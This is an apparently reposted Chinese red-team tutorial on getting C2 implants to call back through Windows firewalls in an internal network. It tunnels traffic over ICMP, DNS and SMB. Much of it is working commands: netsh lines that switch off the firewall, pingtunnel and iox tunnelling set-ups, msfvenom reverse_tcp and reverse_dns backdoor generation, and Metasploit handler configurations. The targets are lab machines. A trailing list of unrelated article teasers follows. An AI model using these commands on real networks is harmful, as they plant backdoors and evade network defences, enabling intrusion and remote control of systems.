内网基础-防火墙-隧道技术

内网对抗-网络通讯篇&防火墙组策略&入站和出站规则&单层双层&C2正反向上线

在这里插入图片描述

关闭第一个防火墙:

第一个上线就走反向或者正向
第二个上线走反向(第二个防火墙阻止入站)
在这里插入图片描述

关闭第二个防火墙:

第一个上线就走反向(第一个防火墙禁止入站)
第二个上线走正向(第一个防火墙禁止入站)
在这里插入图片描述

双向防火墙上线方案(两个防火墙都禁止入站):

两个防火墙都开启,第一个上线走反向,
第二个上线,正向:第二台主机防火墙禁止入站,反向:第一台主机防火墙禁止入站

解决方法:

1、不是域的内网环境,可以通过Windows防火墙命令来关闭防火墙

参考:https://www.cnblogs.com/tomtellyou/p/16300557.html
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound

2、SMB协议(文件夹和打印机共享服务445端口)通讯上线(默认放行)

3、域的内网环境,利用协议(ICMP SSH dns)建立隧道

![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/f9275d2094574cea9b74f0689f1fc29e.png
学隧道前先搞清楚

1、不是有互联网才叫出网

不仅仅是互联网连接
可以是内网到外网的任何形式连接
包括专线、VPN等合法连接方式

2、C2(CS、MSF)常见上线采用的协议
3、常见的协议层出网判断

TCP三次握手确认连接状态
ICMP echo请求/响应
DNS解析测试
HTTP响应状态码检查

常用的隧道技术:

利用各种隧道技术,以网络防火墙允许的协议,
绕过网络防火墙的封锁,实现访问被封锁的目标网络
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道

场景:

A ping B 不通,B ping A通
A出不出网,B出不出网?
answer:A 不出网 B出网 A的出站策略ICMP被禁用

协议 判断命令
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port

C2上线-开防火墙入站只80&出站只放ICMP:

ICMP 通过 PING 命令访问远程计算机,建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而穿过防火墙,防火墙一般不会屏蔽 PING 数据包,实现不受限制的访问。
应用场景:80为入口权限点,ICMP为上线突破口
适用场景:目标入站正向被拦截,出站有ICMP出网
排查出网协议:curl nslookup ping等命令
在这里插入图片描述
攻击机kali:192.168.52.131
靶机win2016:192.168.52.135

在这里插入图片描述
先添加两个监听器一个监听靶机本地3333端口,一个监听kali的2222端口

在这里插入图片描述
在这里插入图片描述

生成可执行后门,上传到靶机上

靶机:pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.52.131 -t 192.168.52.131:2222 -tcp 1 -noprint 1 -nolog 1
kali:sudo ./pingtunnel -type server

在这里插入图片描述
执行6.exe
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
上线成功

MSF搭建ICMP隧道:

pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe
监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run

C2上线-开防火墙入站只80&出站只放DNS:

应用场景:80为入口权限点,DNS为上线突破口
适用场景:目标入站正向被拦截,出站有DNS出网
排查出网协议:curl nslookup ping等命令
在这里插入图片描述

首先在公网服务器配置域名解析
在这里插入图片描述

在这里插入图片描述

在服务器上启动服务端
在这里插入图片描述

配置监听器
在这里插入图片描述
生成exe后门木马
在这里插入图片描述
运行dns.exe
在这里插入图片描述
上线成功
在这里插入图片描述

MSF搭建dns隧道

使用方法

  1. 以git clone方式安装 https://github.com/defcon-russia/metasploit-framework
  2. 网上买个域名,越短越好,像msf.ws这种
  3. 购买个亚马逊EC2服务器套餐 (比如IP是1.2.3.4)
  4. 把NS记录和域名msf.ws及IP进行对应
  5. 把我们的DNS MSF Bridge部署到EC2服务器中运行
    ./dns_server.py --ipaddr 1.2.3.4 --domain msf.ws
  6. 制作攻击载荷(Payload)
    ./msfvenom -p windows/meterpreter/reverse_dns DOMIAN=msf.ws RHOST=1.2.3.4
  7. 生成exploit
  8. 执行MSF控制
use exploit/multi/handler
set payload windows/meterpreter/reverse_dns
set DOMAIN msf.ws
set RHOST 1.2.3.4
run
  1. 针对目标机器执行exploit,稍等一会就会产生反弹连接

C2上线-SMB-开防火墙入站只445:

SMB一般在防火墙入站默认是开启的,判断目标端口是否开放
适用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限
利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下

#后续穿透问题

我再这台机器上启动weblogic服务服务端口7001
在这里插入图片描述
这台只允许web入ICMP出
在这里插入图片描述

接收客户端传递的ICMP
kali:./pingtunnel -type server -noprint 1 -nolog 1 -key 000000
将本地4455转至5566端口
./iox proxy -l 4455 -l 5566
在这里插入图片描述

Web(192.168.52.135)
将本地2222的TCP封装ICMP给192.168.52.131:4455
pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.52.131 -t 192.168.52.131:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000
建立SockS节点绑定3389端口:
iox.exe proxy -r 127.0.0.1:2222
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/504027.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BGP的local_preference本地优先级属性

一、BGP的local preference属性简介 1、local preference公认任意属性 当一条BGP路由器中存在多条去往同一目标网络的BGP路由时,BGP协议会对这些BGP路由属性进行比较,从而筛选出最佳到达目标网络的通达路径。本地优先属性,只在IBGP对等体之间…

从零手写线性回归模型:PyTorch 实现深度学习入门教程

系列文章目录 01-PyTorch新手必看:张量是什么?5 分钟教你快速创建张量! 02-张量运算真简单!PyTorch 数值计算操作完全指南 03-Numpy 还是 PyTorch?张量与 Numpy 的神奇转换技巧 04-揭秘数据处理神器:PyTor…

如何让用户在网页中填写PDF表格?

在网页中让用户直接填写PDF表格,可以大大简化填写、打印、扫描和提交表单的流程。通过使用复选框、按钮和列表等交互元素,PDF表格不仅让填写过程更高效,还能方便地在电脑或移动设备上访问和提交数据。 以下是在浏览器中显示可填写PDF表单的四…

【和春笋一起学C++】文本输入与读取(二)

目录 使用cin.eof()或cin.fail()检测EOF 使用cin.get(ch)的返回结果检测EOF 使用cin.get()的返回结果检测EOF 上篇文章《文本输入与读取》学习了遇到某个字符时停止读取,那如果要读取键盘输入的所有字符该怎么做呢。答案是检测文件尾(EOF)…

Ungoogled Chromium127 编译指南 MacOS篇(八)- 开始编译

1. 引言 完成了所有依赖包的安装后,我们终于来到了最关键的编译阶段。在开始编译之前,有一些重要的配置信息需要了解。本文将指导您完成整个编译过程。 2. 签名相关说明 虽然在我们的测试编译中不需要进行签名操作,但了解官方的签名要求仍…

Jenkins内修改allure报告名称

背景: 最近使用Jenkins搭建自动化测试环境时,使用Jenkins的allure插件生成的报告,一直显示默认ALLURE REPORT,想自定义成与项目关联的名称,如图所示,很明显自定义名称显得高大上些 本地修改方法&am…

关于物联网的基础知识(二)——物联网体系结构分层

成长路上不孤单😊😊😊😊😊😊 【14后😊///计算机爱好者😊///持续分享所学😊///如有需要欢迎收藏转发///😊】 今日分享关于物联网的基础知识(二&a…

应急响应——Windows / Linux 排查笔记

一、基本思路流程 收集信息:收集客户信息和中毒主机信息,包括样本判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等抑制范围:隔离使受害⾯不继续扩⼤深入分析:日志分析、…

Git撤销指定commit并更新远端仓库

Git撤销指定commit并更新远端仓库 一、撤销指定commit 1.首先执行git log 命令,查看git历史提交以及commit信息: 由于需要脱敏,所以截图可能看得马赛克比较多,需要关注的就是上面的commit后跟的id,以及HEAD当前指定…

C 语言奇幻之旅 - 第16篇:C 语言项目实战

目录 引言1. 项目规划1.1 需求分析与设计1.1.1 项目目标1.1.2 功能需求1.1.3 技术实现方案 2. 代码实现2.1 模块化编程2.1.1 学生信息模块2.1.2 成绩管理模块 2.2 调试与测试2.2.1 调试2.2.2 测试2.2.4 测试结果 3. 项目总结3.1 代码优化与重构3.1.1 代码优化3.1.2 代码重构 3.…

2025最新解决方案:新买的mac鼠标和这个触控板反向

solution1 :1.打开设置,搜索 触控 点击 自然滚动 ----->解决的是 触控板 但是还是解决不了鼠标反向的问题 solution1 ultra: 下载一个免费 且纯净的 软件 Scroll Reverser for macOS 这是给出的链接,非常简单,…

黄仁勋CES 2025演讲重点内容

黄仁勋CES 2025演讲重点内容 硬件产品发布 GeForce RTX 50系列GPU: 架构与性能提升:正式发布的新一代GeForce RTX 50系列GPU采用英伟达旗舰的Blackwell架构,这是自25年前引入可编程着色技术以来计算机图形领域最重大的创新。该系列显卡在图形…

机器学习免费使用的数据集及网站链接

机器学习领域存在许多可以免费使用的数据集,这些数据集来自于学习、研究、比赛等目的。 一、综合性数据集平台 1.Kaggle 网址:Kaggle 数据集https://www.kaggle.com/datasets Kaggle是一个数据科学竞赛和社区平台,提供了大量的数据集供用…

nodejs的降级

不使用nvm,直接使用zip包和手动配置环境变量。 下载相关的zip版本的, 解压相关文件,配置系统环境变量PATH,安装的其他的都不用修改 修改系统变量中的path值,重启下电脑 注意要重启idea,如果还是无效&…

ASP.NET Core 实现微服务 - Elastic APM

这次要给大家介绍的是Elastic APM ,一款应用程序性能监控组件。APM 监控围绕对应用、服务、容器的健康监控,对接口的调用链、性能进行监控。在我们实施微服务后,由于复杂的业务逻辑,服务之间的调用会像蜘蛛网一样复杂。有了调用链…

自定义EasyCode模板生成CRUD

文章目录 1.生成步骤1.定义全局逻辑删除字段名称以及删除值和未删除值2.简单三层架构模板1.概览2.Req.java3.Vo.java4.Po.java5.Mapper.java6.Mapper.xml7.Service.java8.ServiceImpl.java9.Controller.java 3.通用配置生成模板1.概览2.PageInfo.java3.PageResult.java4.SunPag…

IOS开发如何从入门进阶到高级

针对iOS开发的学习,不同阶段应采取不同的学习方式,以实现高效提升.本文将iOS开发的学习分为入门、实战、进阶三个阶段,下面分别详细介绍. 一、学习社区 iOS开源中国社区 这个社区专注于iOS开发的开源项目分享与协作,汇集了大量开…

洛谷P1617————数字转英文

题目如下 思路:将1~9的英文和20~90的英文用字符串数组存储,把下标看作对应的数字进行输出,遇到0或连续多个0就输出“and”,定义l用来看枚举到哪一位了,如果是单独输入一个“0”,则直接输出zero然后结束。否…

Kubernetes集群架构

Kubernetes集群架构 Kubernetes 集群架构控制平面组件kube-apiserveretcdkube-schedulerkube-controller-managercloud-controller-manager 节点组件kubeletkebe-proxy(可选)容器运行时 插件DNSWeb UI(Dashboard)容器资源监控集群…

esp32开发笔记之一:esp32开发环境搭建vscode+ubuntu

最近想用esp32做一个物联网项目,踩坑N个终于有点心得,写下来避免和我一样的小白踩无谓的坑。 写在前面: 第一,大家一定要用linux系统作为编译工具,速度上是windows无法比的,不要因为不熟悉linux而选择win…